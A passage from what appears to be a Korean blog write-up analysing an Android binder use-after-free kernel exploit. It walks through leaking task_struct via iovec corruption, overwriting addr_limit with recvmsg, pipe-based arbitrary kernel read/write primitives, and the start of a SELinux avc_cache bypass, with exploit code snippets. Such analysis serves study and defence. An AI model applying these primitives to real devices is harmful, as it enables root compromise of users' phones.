UAF를 통해 kernel address가 iovec.base에 들어가게 된다면, 결과적으로 kernel leak이 가능하다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/read_write.c</span> +<span class="k">static</span> <span class="kt">ssize_t</span> <span class="nf">do_loop_readv_writev</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">filp</span><span class="p">,</span> <span class="k">struct</span> <span class="n">iov_iter</span> <span class="o">*</span><span class="n">iter</span><span class="p">,</span> + <span class="n">loff_t</span> <span class="o">*</span><span class="n">ppos</span><span class="p">,</span> <span class="kt">int</span> <span class="n">type</span><span class="p">,</span> <span class="n">rwf_t</span> <span class="n">flags</span><span class="p">)</span> +<span class="p">{</span> + <span class="c1">//[...]</span> + <span class="k">while</span> <span class="p">(</span><span class="n">iov_iter_count</span><span class="p">(</span><span class="n">iter</span><span class="p">))</span> <span class="p">{</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="n">iovec</span> <span class="o">=</span> <span class="n">iov_iter_iovec</span><span class="p">(</span><span class="n">iter</span><span class="p">);</span> + <span class="kt">ssize_t</span> <span class="n">nr</span><span class="p">;</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">type</span> <span class="o">==</span> <span class="n">READ</span><span class="p">)</span> <span class="p">{</span> + <span class="n">nr</span> <span class="o">=</span> <span class="n">filp</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">read</span><span class="p">(</span><span class="n">filp</span><span class="p">,</span> <span class="n">iovec</span><span class="p">.</span><span class="n">iov_base</span><span class="p">,</span> + <span class="n">iovec</span><span class="p">.</span><span class="n">iov_len</span><span class="p">,</span> <span class="n">ppos</span><span class="p">);</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="n">nr</span> <span class="o">=</span> <span class="n">filp</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">write</span><span class="p">(</span><span class="n">filp</span><span class="p">,</span> <span class="n">iovec</span><span class="p">.</span><span class="n">iov_base</span><span class="p">,</span> + <span class="n">iovec</span><span class="p">.</span><span class="n">iov_len</span><span class="p">,</span> <span class="n">ppos</span><span class="p">);</span> + <span class="p">}</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + <span class="c1">//[...]</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li>위 코드에서 확인할 수 있듯이, iovec 구조체를 돌다가 file-&gt;f_op-&gt;write의 인자로 iovec[11].iov_base, iovec[11].iov_len이 들어가게 될 것이고, 결국 우리의 UAF 취약점에 의해 kernel leak이 가능하게 될 것이다.</li> +</ul> + +<p><br /> +<br /></p> + +<p>UAF를 통해 kernel address가 어떻게 iovec.base에 들어갈 수 있는 지 알기 위해서는 iovec을 통해 입력한 값이 binder_thread의 각 맴버와 어떻게 매칭되는지를 먼저 확인해보면 알 수 있다.</p> + +<p>| offset | binder_thread | iovecStack | +| — | — | — | +| … | … | … | +| 0xA0 | wait.lock | iovecStack[10].iov_base = m_4gb_aligned_page | +| 0xA8 | wait.head.next | iovecStack[10].iov_len = PAGE_SIZE | +| 0xB0 | wait.head.prev | iovecStack[11].iov_base = 0x41414141 | +| 0xB8 | … | iovecStack[11].iov_len = PAGE_SIZE |</p> +<ul> + <li>iovecStack[10].iov_base에 값을 넣을 때 주의할 점은 wait.lock에 어떠한 값이 들어가 있게 될 경우 원하는 방향으로 writev 함수가 동작하지 않기 때문에, wait.lock에 해당하는 부분을 0으로 만들어야 한다. 따라서 iovecStack[10].iov_base에 들어가는 포인터는 하위 4byte값이 0으로 되어있어야한다. + <ul> + <li>e.i) 0x100000000</li> + </ul> + </li> + <li> + <p>이를 위하여 exploit 단계에서는 mmap을 사용하여 미리 0x100000000에 메모리 영역을 할당받는다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// exploit.c</span> + + <span class="n">m_4gb_aligned_page</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span> + <span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="mh">0x100000000ul</span><span class="p">,</span> + <span class="n">PAGE_SIZE</span><span class="p">,</span> + <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> + <span class="n">MAP_PRIVATE</span> <span class="o">|</span> <span class="n">MAP_ANONYMOUS</span><span class="p">,</span> + <span class="o">-</span><span class="mi">1</span><span class="p">,</span> + <span class="mi">0</span> + <span class="p">);</span> +</code></pre></div> </div> + </li> +</ul> + +<p><br /></p> + +<p>우리가 알고 있는 사실은 binder_thread의 wait 멤버는 여전히 eppoll_entry 에 연결되어 있고, ep_remove 함수를 통해 해당 wait list를 정리할 때, wait.head.next와 wait.head.prev가 변한다는 사실이다. 정확히 어떻게 변하는 지는 circular double linked list에서 하나의 node가 제거되는 방식으로 변할 수 있는데, iovStack[11].iov_base위치에 epoll_entry 제거 과정에서 kernel memory가 저장된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//ep_entry-&gt;wait list 제거 과정 중..</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">__list_del</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span> <span class="n">prev</span><span class="p">,</span> <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span> <span class="n">next</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">next</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">prev</span><span class="p">;</span> + <span class="n">WRITE_ONCE</span><span class="p">(</span><span class="n">prev</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">,</span> <span class="n">next</span><span class="p">);</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>이렇게 되면, 실제로 writev를 통해 값이 쓰일 때, iovStack[11].iov_base에 저장된 주소부터 PAGE_SIZE까지 출력이 되면서 kernel address leak이 된다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android7.png" alt="그림 7. task_struct leak" /></p> + +<p>0xffff88801a0790a8 : <code class="language-plaintext highlighter-rouge">iovecStack[10].len</code> 0xffff88801a0790a8 (<code class="language-plaintext highlighter-rouge">&amp;iovecStack[10].len</code>)</p> + +<p>0xffff88801a0790b0 : <code class="language-plaintext highlighter-rouge">iovecStack[11].iov_base</code> 0xffff88801a0790a8 (<code class="language-plaintext highlighter-rouge">&amp;iovecStack[10].len</code>)</p> + +<p>0xffff88801a0790b8 : <code class="language-plaintext highlighter-rouge">iovecStack[11].iov_len</code> 0x1000</p> + +<p>0xffff8880182f1b80 : <code class="language-plaintext highlighter-rouge">task_struct</code> address</p> + +<p><br /> +따라서 iovecStack[11].iov_base에서 0x1000만큼 출력을 하는데, 0xffff88801a0790a8+0xe8위치에 task_struct의 pointer(0xffff8880182f1b80)가 존재하기 때문에 이 값을 얻을 수 있다.</p> + +<p><br /> +<br /></p> + +<ul> + <li>iovec 구조체를 사용할 때, writev함수에서 사용이 끝나면 바로 해제되기 때문에, pipe를 이용하여 readv, writev를 진행한다. 이를 이용하면 pipe가 full이거나 empty상태 일 때, block상태가 되면서, chunk가 할당된 상태에서 유지할 수 있게 된다.</li> +</ul> + +<p><br /> +<br /></p> + +<h2 id="52-leak-task_struct-address-process">5.2 Leak task_struct address process</h2> + +<p>circular double linked list의 경우 노드가 해제되어 하나의 노드만 남게 되었을 경우, node.next와 node.prev가 자기 자신을 가리키게 된다. +지금까지 진행된 내용을 순서대로 정리하자면, 다음과 같다.</p> + +<ol> + <li>epoll, binder을 각각 생성한다.</li> + <li>epoll_ctl의 <code class="language-plaintext highlighter-rouge">EPOLL_CTL_ADD</code> 을 통해 <code class="language-plaintext highlighter-rouge">binder_thread.wait</code>을 연결한다.</li> + <li>ioctl의 <code class="language-plaintext highlighter-rouge">BINDER_THREAD_EXIT</code> 을 통해 <code class="language-plaintext highlighter-rouge">binder_thread</code>를 해제한다.</li> + <li>wait.lock을 우회하기 위해 0x100000000 영역을 할당 받는다.</li> + <li>pipe를 생성하고 pipe 크기를 page size로 지정한다.</li> + <li>fork를 통해 process를 2개로 나눈다. + <ul> + <li>process1 + <ol> + <li>iovec 구조체를 설정한다. 이때 <code class="language-plaintext highlighter-rouge">iovecStack[10].len</code>, <code class="language-plaintext highlighter-rouge">iovecStack[11].base</code>가 binder_thread.wait와 매칭되어 UAF가 터지는 부분이고, <code class="language-plaintext highlighter-rouge">iovecStack[11].len</code>은 <code class="language-plaintext highlighter-rouge">PAGE_SIZE</code>로 한다.</li> + <li>writev함수를 수행한다. + <ul> + <li>iovec 구조체가 실제로 kmalloc에 의해 할당된다. pipe가 FULL이기 때문에, thread가 block된 상태로 iovec 구조체가 유지된다.</li> + </ul> + </li> + </ol> + </li> + <li>process2 + <ol> + <li>iovec구조체 할당이 마무리 될 때 까지 대기하기 위해 sleep을 한다.</li> + <li>process1에서 구조체 할당이 끝난 후, epoll_ctl <code class="language-plaintext highlighter-rouge">EPOLL_CTL_DEL</code> 을 이용하여 ep_remove함수를 수행한다. + <ul> + <li>circular double linked list 해제 과정을 통해 thread.wait.prev, thread.wait.next에 해당하는 iovecStack[11].base와 iovecStack[10].len 이 바뀐다.</li> + <li>이로 인해 iovecStack[11].base가 kernel 주소에 있는 list head(iovecStack[10].len의 주소)가 된다.</li> + </ul> + </li> + <li>read로 pipe에서 PAGE_SIZE만큼 읽는다. + <ul> + <li>이때 읽어오는 값은 iovecStack[10].base에 값으로 의미 없는 값이다.</li> + <li>process1 의 block상태를 해제한다.</li> + </ul> + </li> + <li>process2를 종료한다.</li> + </ol> + </li> + <li>process1 + <ol> + <li>read를 통해 pipe에서 읽어온다. 이때 읽어오는 값은 iovecStack[11].base로 부터 읽어온 값으로 kernel memory leak이 된다.</li> + <li>kernel memory leak에 task_struct 주소가 존재한다.</li> + </ol> + </li> + </ul> + </li> +</ol> + +<p><br /> +<br /></p> + +<h2 id="53-get-kernel-read--write">5.3 Get Kernel Read / Write</h2> + +<p><br /></p> + +<h3 id="531-overwrite-threadaddr_limit">5.3.1 Overwrite thread.addr_limit</h3> + +<p>우리는 UAF를 통해 iovecStack[11].base와 iovecStack[10].len을 바꿀 수 있다. 간단하게 생각해서, readv를 통해 corrupt pointer로 입력을 넣을 수 있을 것으로 보이지만, 아래 이유로 인해 readv를 사용할 수 없다.</p> + +<ul> + <li>readv를 사용할 경우, iovecStack[10].len의 크기가 매우 커졌기 때문에, readv에서 iovecStack[10]만 출력하고 그 다음에 우리가 실제로 값을 넣어야 할 iovecStack[11].base에는 접근하지 못한다. 따라서 이 exploit에서는 readv대신 recvmsg를 사용한다.</li> +</ul> + +<p><br /></p> + +<p>recvmsg를 사용하면 iovecStack에 있는 iovecStack.iov_base에 socket으로 들어오는 값을 넣을 수 있게 된다. 이러한 특성과 unlink과정을 이용하여 task_struct의 addr_limit 값을 변경할 수 있다.</p> + +<p><br /> +<br /></p> + +<p>그 과정을 정리해보면 다음과 같다.</p> + +<ol> + <li>binder_thread를 할당 받은 다음 epoll에 연결한다.</li> + <li>sockpair를 통해 socket을 설정한다.</li> + <li> + <p>iovec 구조체를 아래와 같이 세팅하고 msg 구조체에 넣어서 recvmsg로 보낼 준비를 한다.</p> + + <table> + <thead> + <tr> + <th>offset</th> + <th>binder_thread</th> + <th>iovecStack</th> + </tr> + </thead> + <tbody> + <tr> + <td>…</td> + <td>…</td> + <td>…</td> + </tr> + <tr> + <td>0xA0</td> + <td>wait.lock</td> + <td>iovecStack[10].iov_base = m_4gb_aligned_page</td> + </tr> + <tr> + <td>0xA8</td> + <td>wait.head.next</td> + <td>iovecStack[10].iov_len = 1</td> + </tr> + <tr> + <td>0xB0</td> + <td>wait.head.prev</td> + <td>iovecStack[11].iov_base = 0x41414141</td> + </tr> + <tr> + <td>0xB8</td> + <td>…</td> + <td>iovecStack[11].iov_len = 0x8 *4</td> + </tr> + <tr> + <td>0xC0</td> + <td>…</td> + <td>iovecStack[12].iov_base = 0x42424242</td> + </tr> + <tr> + <td>0xC8</td> + <td>…</td> + <td>iovecStack[12].len = 8</td> + </tr> + </tbody> + </table> + </li> + <li>소켓이 미리 1byte junk data를 write한다.</li> + <li>fork를 이용하여 자식 프로세스를 생성한다. + <ul> + <li>자식 프로세스는 잠깐 sleep상태로 있는다.</li> + </ul> + </li> + <li>부모 프로세스에서 binder_thread를 free하고, recvmsg를 사용하여 binder_thread 크기의 iovecStack을 할당 받는다. 이때 MSG_WAITALL 옵션을 줘서, iovecStack[10].iov_base에 1byte를 작성한 다음 wait상태로 대기하게 한다.</li> + <li>자식 프로세스는 sleep상태에서 깨어난 다음 아래 동작을 수행한다. + <ol> + <li>epoll list를 unlink한다. 이로 인해 iovecStack[10].len과 iovecStack[11].base가 바뀌게 된다. + <ul> + <li>iovecStack[10]은 이미 이전에 recvmsg로 값을 받았다.</li> + <li>iovecStack[11].iov_base은 unlink과정에 의해 iovecStack[10].iov_len을 가리키는 주소로 변한다.</li> + </ul> + </li> + <li>recvmsg에서 iovStack[11].iov_base에 따라 다음에 들어가는 값은 iovecStack[10].iov_len을 가리키는 주소에 들어가고, 이로 인해 iovecStack[12].iov_base를 원하는 값으로 바꿀 수 있다.</li> + <li> + <p>아래와 같은 값을 write함으로써, iovecStack[12].iov_base값을 task_struct의 addr_limit주소로 바꾼다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">static</span> <span class="kt">uint64_t</span> <span class="n">finalSocketData</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> + <span class="mh">0x1</span><span class="p">,</span> <span class="c1">// iovecStack[IOVEC_WQ_INDEX].iov_len</span> + <span class="mh">0x41414141</span><span class="p">,</span> <span class="c1">// iovecStack[IOVEC_WQ_INDEX + 1].iov_base</span> + <span class="mh">0x8</span> <span class="o">+</span> <span class="mh">0x8</span> <span class="o">+</span> <span class="mh">0x8</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">,</span> <span class="c1">// iovecStack[IOVEC_WQ_INDEX + 1].iov_len</span> + <span class="p">(</span><span class="kt">uint64_t</span><span class="p">)</span> <span class="p">((</span><span class="kt">uint8_t</span> <span class="o">*</span><span class="p">)</span> <span class="n">m_task_struct</span> <span class="o">+</span> + <span class="n">OFFSET_TASK_STRUCT_ADDR_LIMIT</span><span class="p">),</span> <span class="c1">// iovecStack[IOVEC_WQ_INDEX + 2].iov_base</span> + <span class="mh">0xFFFFFFFFFFFFFFFE</span> <span class="c1">// addr_limit value</span> + <span class="p">};</span> + +</code></pre></div> </div> + </li> + <li>iovecStack[12].iov_len이 0x20이기 때문에, 정확히 iovecStack[12].iov_base를 task_struct의 addr_limit주소로 덮는다.</li> + <li>그 다음 값인 0xFFFFFFFFFFFFFFFE은 그 다음에 저장될 장소인 iovecStack[12].iov_base가 가리키는 task_struct.addr_limit에 저장된다.</li> + </ol> + </li> + <li>결론적으로 task_struct의 addr_limit의 값이 0xFFFFFFFFFFFFFFFE로 바뀌게 되었기 때문에, arbitrary read/write이 가능하다.</li> +</ol> + +<p><br /> +<br /></p> + +<h3 id="532-make-arbitrary-rw-primitives">5.3.2 Make Arbitrary R/W primitives</h3> + +<ol> + <li> + <p>arbitrary R/W를 위한 pipe를 만든다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">pipe</span><span class="p">(</span><span class="n">kernel_pipe</span><span class="p">)</span> +</code></pre></div> </div> + </li> + <li> + <p>앞서 만든 pipe를 통해서 data를 pipe에 read하고 write하는 과정을 통해 원하는 주소에 있는 값을 버퍼로 옮기거나 버퍼에서 주소로 작성할 수 있다.</p> + <ul> + <li> + <p>read : 주소 값을 pipe에 작성한 다음, 버퍼로 pipe읽어오기</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">void</span> <span class="nf">Read</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">addr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">)</span> <span class="p">{</span> + <span class="n">write</span><span class="p">(</span><span class="n">kernel_pipe</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">addr</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> + <span class="n">read</span><span class="p">(</span><span class="n">kernel_pipe</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">buf</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> + <span class="p">}</span> +</code></pre></div> </div> + </li> + <li> + <p>write : 버퍼 값을 pipe에 write한 다음, 주소에서 read하기</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">void</span> <span class="nf">Write</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">addr</span><span class="p">,</span> <span class="kt">size_t</span> <span class="n">len</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">)</span> <span class="p">{</span> + <span class="n">write</span><span class="p">(</span><span class="n">kernel_pipe</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="n">buf</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> + <span class="n">read</span><span class="p">(</span><span class="n">kernel_pipe</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">addr</span><span class="p">,</span> <span class="n">len</span><span class="p">);</span> + <span class="p">}</span> +</code></pre></div> </div> + </li> + </ul> + </li> +</ol> + +<p><br /> +<br /></p> + +<h2 id="54-bypass-selinux">5.4 Bypass SELinux</h2> + +<p>이 챕터에서는 SELinux의 동작 과정을 살펴본다. 그중에서 특히 avc_cache에 관련된 부분을 소스코드와 함께 살펴보면서, 이를 이용하여 SELinux를 우회할 수 있는 방법에 대해 알아본다.</p> + +<ul> + <li>이 챕터에서 분석한 SELinux 코드는 linux kernel 4.4.177 version이다.</li> +</ul> + +<p><br /></p> + +<h3 id="521-how-selinux-works">5.2.1 How SELinux works</h3> + +<p>SELinux는 아래와 같은 순서로 동작한다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android8.png" alt="그림 8. SELinux 동작 과정 출처 : [https://github.com/SELinuxProject/selinux-notebook/raw/main/src/images/1-core.png](https://github.com/SELinuxProject/selinux-notebook/raw/main/src/images/1-core.png)" /></p> + +<ol> + <li>Subject가 동작을 수행해도 되는지 Object Manager에게 Request를 보낸다. 이때 subject는 일반적으로 resource에 접근하는 프로세스를 말한다.</li> + <li>Object Manager는 Subject의 동작 수행 여부를 결정하기 위해 Security Server에 쿼리를 보낸다.</li> + <li>Security Server는 Security Policy를 기반으로 결정하여 answer을 돌려준다.</li> + <li>답변된 answer의 경우 AVC cache에 저장되며 이후 같은 request를 Object Manager에서 물어볼 경우 Access Vector Cache에 저장된 내용을 기반으로 행동을 결정한다.</li> +</ol> + +<p><br /></p> + +<h3 id="542-avc_cache-linked-with-avc_node">5.4.2 avc_cache linked with avc_node</h3> + +<p>AVC는 일반적으로 커널 혹은 user land에서 decision을 cache로 저장하기 위해 아래와 같은 hashmap으로 구현된다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/avc.c</span> +<span class="k">struct</span> <span class="n">avc_cache</span> <span class="p">{</span> + <span class="k">struct</span> <span class="n">hlist_head</span> <span class="n">slots</span><span class="p">[</span><span class="n">AVC_CACHE_SLOTS</span><span class="p">];</span> <span class="cm">/* head for avc_node-&gt;list */</span> + <span class="n">spinlock_t</span> <span class="n">slots_lock</span><span class="p">[</span><span class="n">AVC_CACHE_SLOTS</span><span class="p">];</span> <span class="cm">/* lock for writes */</span> + <span class="n">atomic_t</span> <span class="n">lru_hint</span><span class="p">;</span> <span class="cm">/* LRU hint for reclaim scan */</span> + <span class="n">atomic_t</span> <span class="n">active_nodes</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">latest_notif</span><span class="p">;</span> <span class="cm">/* latest revocation notification */</span> +<span class="p">};</span> + +<span class="k">struct</span> <span class="n">avc_node</span> <span class="p">{</span> + <span class="k">struct</span> <span class="n">avc_entry</span> <span class="n">ae</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">hlist_node</span> <span class="n">list</span><span class="p">;</span> <span class="cm">/* anchored in avc_cache-&gt;slots[i] */</span> + <span class="k">struct</span> <span class="n">rcu_head</span> <span class="n">rhead</span><span class="p">;</span> +<span class="p">};</span> + +<span class="k">struct</span> <span class="n">avc_entry</span> <span class="p">{</span> + <span class="n">u32</span> <span class="n">ssid</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">tsid</span><span class="p">;</span> + <span class="n">u16</span> <span class="n">tclass</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="n">avd</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">avc_xperms_node</span> <span class="o">*</span><span class="n">xp_node</span><span class="p">;</span> +<span class="p">};</span> + +<span class="c1">// /security/selinux/include/security.h</span> +<span class="k">struct</span> <span class="n">av_decision</span> <span class="p">{</span> + <span class="n">u32</span> <span class="n">allowed</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">auditallow</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">auditdeny</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">seqno</span><span class="p">;</span> + <span class="n">u32</span> <span class="n">flags</span><span class="p">;</span> +<span class="p">};</span> +</code></pre></div></div> + +<p>위 구조체들의 연결 관계를 살펴보면 다음과 같다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android9.png" alt="그림 9. avc_cache와 avc_node 사이의 연결 관계" /></p> + +<p>위 구조체에서 주의 깊게 봐야 하는 부분은 avc_cache에서 avc_node로 향하는 list pointer를 나눌 때, hash값을 기준으로 나눈다는 점이다. 같은 hash를 가진 avc_node의 경우 avc_node.hlist_node에 의하여 linked list로 연결되어있다. +그리고 실제 동작을 허용 여부를 결정하는 av_decision은 avc_entry에 내장되어고, 다시 avc_entry는 avc_node에 속해있다.</p> + +<p><br /></p> + +<h3 id="543-dive-into-source-code">5.4.3 Dive into source code</h3> + +<p>SELinux에서 subject가 avc에 쿼리를 보내서 접근 제어를 결정하기 위해 확인하는 함수는 avc_has_perm함수이다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/avc.c</span> + +<span class="cm">/** + * avc_has_perm - Check permissions and perform any appropriate auditing. + * @ssid: source security identifier + * @tsid: target security identifier + * @tclass: target security class + * @requested: requested permissions, interpreted based on @tclass + * @auditdata: auxiliary audit data + * + * Check the AVC to determine whether the @requested permissions are granted + * for the SID pair (@ssid, @tsid), interpreting the permissions + * based on @tclass, and call the security server on a cache miss to obtain + * a new decision and add it to the cache. Audit the granting or denial of + * permissions in accordance with the policy. Return %0 if all @requested + * permissions are granted, -%EACCES if any permissions are denied, or + * another -errno upon other errors. + */</span> + +<span class="kt">int</span> <span class="nf">avc_has_perm</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">u16</span> <span class="n">tclass</span><span class="p">,</span> + <span class="n">u32</span> <span class="n">requested</span><span class="p">,</span> <span class="k">struct</span> <span class="n">common_audit_data</span> <span class="o">*</span><span class="n">auditdata</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="n">avd</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">rc</span><span class="p">,</span> <span class="n">rc2</span><span class="p">;</span> + + <span class="n">rc</span> <span class="o">=</span> <span class="n">avc_has_perm_noaudit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">avd</span><span class="p">);</span> + + <span class="n">rc2</span> <span class="o">=</span> <span class="n">avc_audit</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">avd</span><span class="p">,</span> <span class="n">rc</span><span class="p">,</span> <span class="n">auditdata</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">rc2</span><span class="p">)</span> + <span class="k">return</span> <span class="n">rc2</span><span class="p">;</span> + <span class="k">return</span> <span class="n">rc</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li> + <p>avc_has_perm의 주석을 살펴보면 아래와 같다.</p> + + <p>”AVC를 확인하여 요청된 권한이 SID pair(@ssid, @tsid)에 대해 허용되는지 확인하고 tclass 기반으로 권한을 해석한 후, cache가 없는 경우 security server를 호출하여 새 decision을 받아 cache에 추가한다. 정책에 따라서 권한을 허용하거나 거부한다 [….]”</p> + + <ul> + <li>ssid: source security identifier (접근 주체)</li> + <li>tsid: target security identifier (접근 대상)</li> + <li>tclass: target security class (대상 리소스의 유형)</li> + <li>requested: requested permissions, interpreted based on @tclass (요청한 권한)</li> + <li>auditdata: auxiliary audit data</li> + </ul> + </li> +</ul> + +<p><br /></p> + +<p>먼저 avc_has_perm_noaudit을 살펴보면 다음과 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /security/selinux/avc.c</span> +<span class="kr">inline</span> <span class="kt">int</span> <span class="nf">avc_has_perm_noaudit</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> + <span class="n">u16</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">u32</span> <span class="n">requested</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="n">flags</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">av_decision</span> <span class="o">*</span><span class="n">avd</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">avc_node</span> <span class="o">*</span><span class="n">node</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">avc_xperms_node</span> <span class="n">xp_node</span><span class="p">;</span> + <span class="c1">// [...]</span> + <span class="n">node</span> <span class="o">=</span> <span class="n">avc_lookup</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="o">!</span><span class="n">node</span><span class="p">))</span> + <span class="n">node</span> <span class="o">=</span> <span class="n">avc_compute_av</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">avd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">xp_node</span><span class="p">);</span> + <span class="k">else</span> + <span class="n">memcpy</span><span class="p">(</span><span class="n">avd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">node</span><span class="o">-&gt;</span><span class="n">ae</span><span class="p">.</span><span class="n">avd</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">avd</span><span class="p">));</span> + + <span class="n">denied</span> <span class="o">=</span> <span class="n">requested</span> <span class="o">&amp;</span> <span class="o">~</span><span class="p">(</span><span class="n">avd</span><span class="o">-&gt;</span><span class="n">allowed</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">denied</span><span class="p">))</span> + <span class="n">rc</span> <span class="o">=</span> <span class="n">avc_denied</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">,</span> <span class="n">requested</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="n">avd</span><span class="p">);</span> + + <span class="n">rcu_read_unlock</span><span class="p">();</span> + <span class="k">return</span> <span class="n">rc</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<ul> + <li> + <p><code class="language-plaintext highlighter-rouge">avc_lookup(ssid, tsid, tclass)</code>를 통해 node를 찾는 것처럼 보이는 데 실제로 코드를 확인해 보면 아래와 같다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /security/selinux/avc.c</span> + <span class="k">static</span> <span class="k">struct</span> <span class="n">avc_node</span> <span class="o">*</span><span class="nf">avc_lookup</span><span class="p">(</span><span class="n">u32</span> <span class="n">ssid</span><span class="p">,</span> <span class="n">u32</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">u16</span> <span class="n">tclass</span><span class="p">)</span> + <span class="p">{</span> + <span class="k">struct</span> <span class="n">avc_node</span> <span class="o">*</span><span class="n">node</span><span class="p">;</span> + + <span class="n">avc_cache_stats_incr</span><span class="p">(</span><span class="n">lookups</span><span class="p">);</span> + <span class="n">node</span> <span class="o">=</span> <span class="n">avc_search_node</span><span class="p">(</span><span class="n">ssid</span><span class="p">,</span> <span class="n">tsid</span><span class="p">,</span> <span class="n">tclass</span><span class="p">);</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">node</span><span class="p">)</span> + <span class="k">return</span> <span class="n">node</span><span class="p">;</span> + + <span class="n">avc_cache_stats_incr</span><span class="p">(</span><span class="n">misses</span><span 